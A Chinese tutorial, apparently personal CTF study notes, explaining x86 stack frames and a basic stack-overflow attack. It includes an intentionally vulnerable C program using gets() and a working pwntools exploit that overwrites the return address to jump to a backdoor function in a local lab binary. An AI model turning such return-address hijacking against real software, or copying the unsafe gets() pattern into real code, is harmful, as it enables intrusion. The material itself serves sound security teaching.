1.基础栈溢出
前置知识
C语言,汇编语言
函数调用过程
首先,使用如下程序来复习一下一个32位函数在调用过程中栈上发生的变化
#include<stdio.h>
int add(int a,int b)
{
int c=0;
return a+b;
}
int main()
{
add(1,2);
}
在调用前,首先从右到左压栈进行传参
0x8048404 <main+13> push 2
0x8048406 <main+15> push 1
0x8048408 <main+17> call add <add>
此时,栈上保存着传入的参数
00:0000│ esp 0xffffd0f0 ◂— 0x1
01:0004│ 0xffffd0f4 ◂— 0x2
接着,调用call指令,将返回地址(也就是原先call的下一条指令的地址)压入栈中,并跳转到函数内部
00:0000│ esp 0xffffd0ec —▸ 0x804840d (main+22) ◂— add esp, 8
01:0004│ 0xffffd0f0 ◂— 0x1
02:0008│ 0xffffd0f4 ◂— 0x2
0x80483d6 <add> push ebp
0x80483d7 <add+1> mov ebp, esp
0x80483d9 <add+3> sub esp, 0x10
进入函数后的第一件事是保存原栈帧的栈底(push ebp),将ebp保存在栈上
00:0000│ esp 0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
01:0004│ 0xffffd0ec —▸ 0x804840d (main+22) ◂— add esp, 8
02:0008│ 0xffffd0f0 ◂— 0x1
03:000c│ 0xffffd0f4 ◂— 0x2
然后将当前栈帧转移(mov ebp,esp),并为当前栈帧分配空间(sub esp,0x10)
00:0000│ esp 0xffffd0d8 —▸ 0xffffd19c —▸ 0xffffd36a ◂— 'CLUTTER_IM_MODULE=xim'
01:0004│ 0xffffd0dc —▸ 0x8048441 (__libc_csu_init+33) ◂— lea eax, [ebx - 0xf4]
02:0008│ 0xffffd0e0 —▸ 0xf7fe5970 (_dl_fini) ◂— push ebp
03:000c│ 0xffffd0e4 ◂— 0x0
04:0010│ ebp 0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
05:0014│ 0xffffd0ec —▸ 0x804840d (main+22) ◂— add esp, 8
06:0018│ 0xffffd0f0 ◂— 0x1
07:001c│ 0xffffd0f4 ◂— 0x2
在退出函数时,会执行如下指令
0x80483f5 <add+31> leave
0x80483f6 <add+32> ret
leave指令相当于先mov esp,ebp并pop ebp。这条指令完成了对当前栈帧的空间的销毁和对上一个栈帧栈底的恢复
00:0000│ esp 0xffffd0ec —▸ 0x804840d (main+22) ◂— add esp, 8
01:0004│ 0xffffd0f0 ◂— 0x1
02:0008│ 0xffffd0f4 ◂— 0x2
此时栈上的结构就和刚刚call进来的时候一样了
ret指令从栈中弹出返回地址,跳转到返回地址(也就是原先call的下一条指令的地址)使程序继续执行
0x804840d <main+22> add esp, 8
0x8048410 <main+25> mov eax, 0
出函数后,进行传参的销毁(add esp,8)
此时,栈结构就和调用函数之前一模一样了
栈帧结构
那么我们就可以整理出栈帧的结构,其从低地址到高地址(即栈的从上到下,请始终记住,栈由高地址向低地址生长,通俗点说就是栈的上面在低地址,下面在高地址)为
栈帧结构 |
---|
局部变量空间 |
原栈帧栈底地址 |
返回地址 |
传入参数 |
攻击思路
从栈帧结构可以不难发现,函数执行完毕后的跳转位置为返回地址,而返回地址保存的位置其实和局部变量非常接近。
显然,在函数的执行流程之中,肯定会对局部变量进行读写,但假设我们使用某种方法,使得对局部变量的读写超出了局部变量的范围,也就是产生了溢出,当这种溢出可以覆盖到返回地址的时候,也就意味着返回地址可以被修改,从而导致程序流程被破坏。
通常状况下,这种破坏会导致程序的崩溃,因为程序很可能尝试访问非法的内存地址。
但是,通过精心构造溢出的内容,完全可以使程序不崩溃,并使攻击者可以控制程序的走向,这就是最基础的栈溢出劫持程序流攻击方式
攻击示例
为了简单演示栈溢出攻击,我们编写以下的程序作为靶标(在ctf比赛当中,如果存在后门,一般是system("/bin/sh"); )
#include<stdio.h>
void backdoor()
{
puts("your process is under attack!");
}
void vul()
{
char buf[16];
gets(buf);
}
int main()
{
vul();
}
可以看到,在这里main函数并没有调用backdoor函数,也就是说,在正常的程序流程中,不应该输出"your process is under attack!"。之后,我们将尝试通过栈溢出劫持程序流,使其执行backdoor函数。
在这里,我们可以攻击vul函数,因为其调用了gets函数,gets函数的特点在于,它会一直读取,直到读取到一个回车键,但是在这里,其缓冲区buf的长度是有限的,显然,只要超出了buf的长度,就会产生溢出。
那么首先,使用ida来反编译编译好的1_2程序,进行简单的分析
.text:08048461 public vul
.text:08048461 vul proc near ; CODE XREF: main+1B↓p
.text:08048461
.text:08048461 s = byte ptr -18h
.text:08048461 var_4 = dword ptr -4
.text:08048461
.text:08048461 ; __unwind {
.text:08048461 push ebp
.text:08048462 mov ebp, esp
.text:08048464 push ebx
.text:08048465 sub esp, 14h
.text:08048468 call __x86_get_pc_thunk_ax
.text:0804846D add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048472 sub esp, 0Ch
.text:08048475 lea edx, [ebp+s]
.text:08048478 push edx ; s
.text:08048479 mov ebx, eax
.text:0804847B call _gets
.text:08048480 add esp, 10h
.text:08048483 nop
.text:08048484 mov ebx, [ebp+var_4]
.text:08048487 leave
.text:08048488 retn
.text:08048488 ; } // starts at 8048461
.text:08048488 vul endp
注意一个细节,vul在传入buf的地址时使用的地址是ebp-0x18,也就是24个字节而非16个字节,这是由栈对齐机制决定的
.text:08048436 public backdoor
.text:08048436 backdoor proc near
.text:08048436
.text:08048436 var_4 = dword ptr -4
.text:08048436
.text:08048436 ; __unwind {
.text:08048436 push ebp
.text:08048437 mov ebp, esp
.text:08048439 push ebx
.text:0804843A sub esp, 4
.text:0804843D call __x86_get_pc_thunk_ax
.text:08048442 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048447 sub esp, 0Ch
.text:0804844A lea edx, (aYourProcessIsU - 80497F8h)[eax] ; "your process is under attack!"
.text:08048450 push edx ; format
.text:08048451 mov ebx, eax
.text:08048453 call _puts
.text:08048458 add esp, 10h
.text:0804845B nop
.text:0804845C mov ebx, [ebp+var_4]
.text:0804845F leave
.text:08048460 retn
.text:08048460 ; } // starts at 8048436
.text:08048460 backdoor endp
可以看到,backdoor函数的地址在0x08048436,显然将这个地址换算成字符串有不可见字符,所以我们使用基于python的pwntools工具辅助我们进行攻击
from pwn import *
backdoor=0x08048436
p=process("./1_2")
p.sendline(b"a"*0x18+p32(0)+p32(backdoor))
p.interactive()
执行结果
zltt@zltt:~/code/zltt_pwn_note/1.基础栈溢出$ python3 ./1_3.py
[+] Starting local process './1_2': pid 13752
[*] Switching to interactive mode
your process is under attack!
[*] Got EOF while reading in interactive
$
攻击成功
让我们回过头来分析payload(攻击载荷),这次的payload由3个部分组成,分别是24个字节的填充缓冲区的部分、4个字节的覆盖栈底指针的部分(由于在本次攻击中并不重要,所以我将其置零)、4个字节的覆盖返回地址的部分(我将其置为backdoor函数的地址,故而程序流被劫持到了backdoor函数上)